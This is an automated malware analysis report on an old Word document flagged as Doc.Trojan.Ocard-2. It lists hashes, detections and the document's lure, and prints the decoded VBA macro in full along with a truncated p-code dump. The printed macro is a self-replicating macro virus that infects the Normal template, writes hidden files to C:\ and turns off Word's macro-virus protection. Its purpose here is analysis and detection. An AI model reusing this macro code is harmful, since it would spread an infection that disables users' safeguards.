Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eac1f897719da76b…

MALICIOUS

Office (OLE)

37.0 KB Created: 2001-07-27 04:46:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: ff52b62b084cdcff6c4d90ae3867da61 SHA-1: a28a855b2e0cadd8fb80809849fa6937d34ee00b SHA-256: eac1f897719da76b1d9dbad3af3c22a93fcf489aace92bac7477e77ad9a34651
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV, with critical heuristics indicating the presence of VBA macros and an extracted artifact also flagged by ClamAV. The VBA script within the 'macros.bas' file attempts to export components to 'c:\Tribe' and 'c:\Tribe.frx', potentially for persistence or further execution. The document body text 'Virus !!!' serves as a lure to mask the malicious macro execution.

Heuristics 2

  • ClamAV: Doc.Trojan.Ocard-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ocard-2
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4988 bytes
SHA-256: a6c12a2196a45197a252a9f2ee2c95a712fd2bfd659d872bd91ce822d202f4dd
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Draco Malfoy in Norway @ -40
Dim Basilisk As String
Dim Harry As Integer
On Error GoTo Hell
Basilisk = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 33)
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1), 6) <> "'Draco" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString Basilisk
For Harry = 2 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(Harry).Name = "Norway" Then
    ActiveDocument.VBProject.VBComponents.Item(Harry).Export "c:\Tribe"
    SetAttr "c:\Tribe", vbHidden
    SetAttr "c:\tribe.frx", vbHidden
    End If
Next Harry
End If
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1), 6) <> "'Draco" Then
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString Basilisk
    ActiveDocument.VBProject.VBComponents.Import "c:\Tribe"
End If
If Month(Now) = 12 And Day(Now) >= 24 Then
Load Norway
Norway.CommandButton1.Caption = "Merry Christmas " & Application.UserName
Norway.Show
Unload Norway
End If
With Options
    .VirusProtection = False
    .SaveNormalPrompt = False
    .ConfirmConversions = False
End With
Hell:
End Sub

' Processing file: /opt/analyzer/scan_staging/80f24665fdc849fa960cd558a32716fb.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7214 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	QuoteRem 0x0000 0x001C "Draco Malfoy in Norway @ -40"
' Line #2:
' 	Dim 
' 	VarDefn Basilisk (As String)
' Line #3:
' 	Dim 
' 	VarDefn Harry (As Integer)
' Line #4:
' 	OnError Hell 
' Line #5:
' 	LitDI2 0x0001 
' 	LitDI2 0x0021 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St Basilisk 
' Line #6:
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0006 "'Draco"
' 	Ne 
' 	IfBlock 
' Line #7:
' 	Ld Basilisk 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #8:
' 	StartForVariable 
' 	Ld Harry 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #9:
' 	Ld Harry 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0006 "Norway"
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitStr 0x0008 "c:\Tribe"
' 	Ld Harry 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #11:
' 	LitStr 0x0008 "c:\Tribe"
' 	Ld vbHidden 
' 	ArgsCall SetAttr 0x0002 
' Line #12:
' 	LitStr 0x000C "c:\tribe.frx"
' 	Ld vbHidden 
' 	ArgsCall SetAttr 0x0002 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	StartForVariable 
' 	Ld Harry 
' 	EndForVariable 
' 	NextVar 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0006 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0006 "'Draco"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	Ld Basilisk 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #18:
' 	LitStr 0x0008 "c:\Tribe"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBC
... (truncated)